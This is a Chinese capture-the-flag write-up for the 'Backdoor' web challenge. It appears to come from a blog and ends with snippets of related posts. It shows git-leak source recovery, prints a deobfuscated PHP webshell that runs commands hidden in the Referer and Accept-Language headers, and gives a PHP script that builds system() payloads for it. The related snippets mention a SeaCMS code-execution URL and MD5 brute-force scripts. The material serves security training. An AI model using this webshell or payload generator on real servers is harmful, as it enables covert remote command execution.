i春秋 “百度杯”CTF比赛 十月场 web题 Backdoor

0x00:

打开题目,题目中告诉我们这题是文件泄露。

0x01:

通过扫描目录,发现可以扫到的有3个文件

index.php flag.php robots.txt

但是浏览flag.php它告诉我们这不是真正的flag

又联系到题目文件泄露,于是测试.swp .swo .bak等备份文件后缀均无果。最后发现是.git泄露。

我们浏览这个url

http://6094ef7a9cad4288a4748de8ff8ffc573453e961300f46ce.game.ichunqiu.com/Challenges/.git/

注意到这里返回的是403(请求被拒绝),而不是404(访问无效)。那么这里就可以利用git泄露的脚本下载下来源文件。

这里使用的是rip-git.pl这个脚本,github地址:https://github.com/kost/dvcs-ripper

注:这里用rip-git.pl下载下来的文件是可以查看它上传github的历史记录的。而Githack这个工具虽然能下载文件,但是不能查看历史记录

查看flag.php

查看flag.php的日志

git log flag.php

可以看到他修改了很多次flag.php这个文件,我们回查一下上一次的修改时的内容

git diff 12c6ddf4af0a5542c1cf6a9ab19b4231c1fd9a88 flag.php

commit的值是test那次的值,可以看到在修改前是flag{true_flag_is_in_the_b4cko0r.php}

0x02:

上面那个flag还不是真正的flag,于是我们访问flag提示的文件

http://6094ef7a9cad4288a4748de8ff8ffc573453e961300f46ce.game.ichunqiu.com/Challenges/b4ckdo0r.php

得到下面信息,查看源码也啥都没有:

最后测出来是.swo文件备份,我们把备份下载下来

因为打开是乱码,我把它在下载好后,拖到我的kali虚拟机的桌面上,然后用vim打开备份文件的方式打开

vim -r .b4ckdo0r.php.swo

因为为了研究这个代码,又没法更改备份文件,我们用vim的复制功能把这里面的内容复制到一个新的php文件里面,然后放回我的windows下(因为我很喜欢用windows)

这个代码是混淆过的,但主要看$y和$L和$v这3个变量,分别对应的是

$y = create_function  //这里去掉了字符串中的字母b

$L = 把上面的如 $c, $f等字符串变量中的“)m“给去掉

$v = create_function(‘‘, $L); 这里是生成一个不带参数的匿名函数,函数内容就是$L的内容。

然后运行$v()函数

根据这个逻辑解开混淆后$L的内容:

把内容打印到我们本地搭建的服务器上,然后查看源码,并整理下就是b4ckdo0r.php源码内容

注意:这里一定要看源码,因为中间有一部分"<"被当做html的标签了,没法完整显示

web本来的页面这里的代码很奇怪

查看源码发现原因,是因为<被当做标签起始了

整理后源码如下:

<?php
$kh="4f7f";
$kf="28d7";
function x($t,$k) {
    $c=strlen($k);
    $l=strlen($t);
    $o="";
    for($i=0; $i<$l;) {
        for($j=0; ($j<$c&&$i<$l); $j++,$i++) {
            $o.=$t{$i}^$k{$j};
        }
    }
    return $o;
}
$r=$_SERVER;
$rr[email protected]$r["HTTP_REFERER"];
$ra[email protected]$r["HTTP_ACCEPT_LANGUAGE"];
if($rr&&$ra) {
    $u=parse_url($rr);
    parse_str($u["query"],$q);
    $q=array_values($q);
    preg_match_all("/([\w])[\w-]+(?:;q=0.([\d]))?,?/",$ra,$m);
    if($q&&$m) {
        @session_start();
        $s=&$_SESSION;
        $ss="substr";
        $sl="strtolower";
        $i=$m[1][0].$m[1][1];
        $h=$sl($ss(md5($i.$kh),0,3));
        $f=$sl($ss(md5($i.$kf),0,3));
        $p="";
        for($z=1; $z<count($m[1]); $z++)
            $p.=$q[$m[2][$z]];
        if(strpos($p,$h)===0) {
            $s[$i]=""; $p=$ss($p,3);
        }
        if(array_key_exists($i,$s)) {
            $s[$i].=$p;
            $e=strpos($s[$i],$f);
            if($e) {
                $k=$kh.$kf;
                ob_start();
                @eval(@gzuncompress(@x(@base64_decode(preg_replace(array("/_/","/-/"),array("/","+"),$ss($s[$i],0,$e))),$k)));
                $o=ob_get_contents();
                ob_end_clean();
                $d=base64_encode(x(gzcompress($o),$k)); print("<$k>$d</$k>");
                @session_destroy();
            }
        }
    }
}

解释一下这里的代码(因为我比较菜,通过每一步把变量输出,最后弄清楚搞了3个小时左右)

x($t, $k)函数是个异或函数,第一个参数和第二个参数按位对应异或,如果第二个参数全部异或了一遍,第一个还没结束,又从第二个参数头部从头开始。

$rr是通过http报头的Referer参数传入,我们可控

$rs是通过http报头的accept-language参数传入,我们可控

这里先介绍下accpet-language吧,举个栗子

这里的zh-CN是默认语言,之后每个值以“,(逗号)”隔开,格式为“ 语言;q=权重 ”

那么preg_match_all这个正则所做的事,看着很复杂,我们直接把他输出到自己服务器的web上吧

是一个二维数组,然后$i会取[1][0]和[1][1]的组合值

$h和f分别是 ($i . $kh)和($i . $kf)的md5值的前3个字符这里算出来是675和a3e

这一段代码会看language的语言有多少个,然后$p是以权重的小数部分值为下标,然后取Referer的url中的对应下标的参数的值的组合

这里举个例子,a=1中的1 就是$q[$m[2][0]],b=2中的2 就是$q[$m[2][1]]

然后就是判断$p这个变量前3个是不是675,后3个是不是a3e,最后我们的构造为 "675 + payload + a3e"

然后就是传到eval函数里面了,这里我们要通过eval函数来读目录,然后查看flag

eval中用了很多编码方式,也用到了自定的x($t, $k)这个异或函数,我们依次测试下顺序,就能正确的生成我们的payload,来构造system("ls");

这里异或的规律

a = b ^ c那么 b = a ^ c;这是一个很简单的规律,所以x函数即使编码函数,也是解码函数

最后附上我生成payload和解码返回值的内容的php代码

<?php

function x($t,$k) {
    $c=strlen($k);
    $l=strlen($t);
    $o="";
    for($i=0; $i<$l;) {
        for($j=0; ($j<$c&&$i<$l); $j++,$i++) {
            $o.= $t{$i} ^ $k{$j};
        }
    }
    return $o;
}

function get_answer($str){
    $str = base64_decode($str);
    $str = x($str, ‘4f7f28d7‘);
    $str = gzuncompress($str);
    echo $str . "<br>";
}

function input($cmd){
    $str = ‘system("‘ . $cmd . ‘");‘;
    $t1 = gzcompress($str);
    echo ‘$t1 = ‘ . $t1 . "<br>";
    $t2 = x($t1, ‘4f7f28d7‘);
    echo ‘$t2 = ‘ . $t2 . "<br>";
    $t3 = base64_encode($t2);
    echo ‘$t3 = ‘ . $t3 . "<br>";
    return $t3;
}

$ra=‘zh-CN,zh;q=0.0‘;
input(‘ls‘);
//get_answer(‘‘);

?>

把命令输入input里面,运行这个php脚本就会生成ls命令的payload,而我们accep-language所填内容为 ‘zh-CN,zh;q=0.0‘

于是我们第一次的payload为:

将返回内容填到我们的脚本中,生成解码后的内容

然后生成cat this_i5_flag.php的payload,最后flag在源码中

注:这里我审计代码的时候是采用比较笨的方法,因为源码我们下载了下来,那么我么就可以任意修改,我是把每个地方有值的变化,就直接输出出来,方便更加透彻的理解流程。

原文地址:https://www.cnblogs.com/sijidou/p/9827720.html

时间: 2024-10-05 11:22:26

i春秋 “百度杯”CTF比赛 十月场 web题 Backdoor的相关文章

[i春秋]“百度杯”CTF比赛 十月场-Hash

前言 111 前言 涉及知识点:反序列化. 题目来自:i春秋 hash  如果i春秋题目有问题可以登录榆林学院信息安全协会CTF平台使用 或者利用本文章提供的源码自主复现 前言 点击hahaha进入下一个页面 进入之后我们发现这有一段英文说如果不是123 我们就可以获得flag 我们分析URL key部分有个123 我们替换成122试试 试了之后不行我们看到hash的值一看就是md5密文直接拿去解密看看有什么发现 http://地址/index.php?key=123&hash=f9109d5f

i春秋 百度杯”CTF比赛 十月场 login

出现敏感的信息,然后进行登录 登录成功发现奇怪的show 然后把show放到发包里面试一下 出现了源码,审计代码开始 出flag的条件要user 等于春秋 然后进行login来源于反序列化后的login 下面进行序列化 然后参数为token,可以通过post,get,cookie的方式,但是看到都是用的cookie,我就用post和get 原文地址:https://www.cnblogs.com/haozhizhi/p/10161113.html

i春秋——“百度杯”CTF比赛 十月场——Login

根据页面源码提示的 test1 test1 登录 刷新此页面并抓包,有个show=0值得关注 在发送的包的header中加一句show:1,即可得到member.php的源码 1 <?php 2 include 'common.php'; 3 $requset = array_merge($_GET, $_POST, $_SESSION, $_COOKIE); 4 class db 5 { 6 public $where; 7 function __wakeup() 8 { 9 if(!empt

i春秋——“百度杯”CTF比赛 十月场——Vld(Vulcan Logic Dumper 、php opcode、sql 报错注入)

打开题目看到提示 "do you know Vulcan Logic Dumper?" ,再查看源码看到"<!-- index.php.txt ?>",访问后发现一堆看不懂的东西 这肯定就是所谓的Vulcan Logic Dumper了,先了解下相关概念 PHP内核-Zend引擎:http://www.php.cn/php-weizijiaocheng-355597.html PHP中的opcode:https://blog.csdn.net/weiyu

i春秋——“百度杯”CTF比赛 十月场——GetFlag(md5碰撞、文件包含、网站绝对路径)

需要提交的captcha满足等式,肯定就是MD5碰撞了 附上脚本 1 import hashlib 2 3 4 def func(md5_val): 5 for x in range(1,100000000): 6 md5_value=hashlib.md5(str(x)).hexdigest() 7 if md5_value[:6]==md5_val: 8 return str(x) 9 10 11 print func(raw_input('md5_val:')) 12 13 14 raw_

“百度杯”CTF比赛 十月场_Login

题目在i春秋ctf大本营 打开页面是两个登录框,首先判断是不是注入 尝试了各种语句后,发现登录界面似乎并不存在注入 查看网页源代码,给出了一个账号 用帐密登陆后,跳转到到member.php网页,网页本身并没有什么提示内容 接着抓包查看,这里找了好久,最后在返回包的头文件中发现了一个可以参数 尝试在请求头中加入show参数: 返回一段源代码,开始审计之路: <?php include 'common.php'; $requset = array_merge($_GET, $_POST, $_SE

“百度杯”CTF比赛 十月场_GetFlag(验证码爆破+注入+绝对路径文件下载)

题目在i春秋ctf大本营 页面给出了验证码经过md5加密后前6位的值,依照之前做题的套路,首先肯定是要爆破出验证码,这里直接给我写的爆破代码 #coding:utf-8 import hashlib strs = '35eb09' def md5(s): return hashlib.md5(str(s).encode('utf-8')).hexdigest() def main(): for i in range(100000,100000000): a = md5(i) if a[0:6]

i春秋——“百度杯”CTF比赛 九月场——123(Apache解析pht,phtml,php3等 php别名)

网页源码提示用户信息在user.php中,直接访问是不会有显示的,于是查找相应的备份文件,vim交换文件等,最后发现/user.php.bak 用burp采用如下配置开始爆破 最后爆破出两个账号 登录之后查看源码,发现一个被注释的表单,看似应该存在文件上传漏洞,在页面按F12,更改网页,去掉注释 本来想上传一句话的,但是发现就算上传普通图片文件和图片文件名也会提示文件名非法,猜想这里并不是真的文件上传,并不是用菜刀连上找flag.只是构造文件名,并且上传到服务器成为可执行文件便可通过.所以文件内

i春秋——“百度杯”CTF比赛 九月场——Test(海洋cms / seacms 任意代码执行漏洞)

打开发现是海洋cms,那就搜索相关漏洞 找到一篇介绍海洋cms的命令执行漏洞的文章:https://www.jianshu.com/p/ebf156afda49 直接利用其中给出的poc /search.php searchtype=5&searchword={if{searchpage:year}&year=:e{searchpage:area}}&area=v{searchpage:letter}&letter=al{searchpage:lang}&yuyan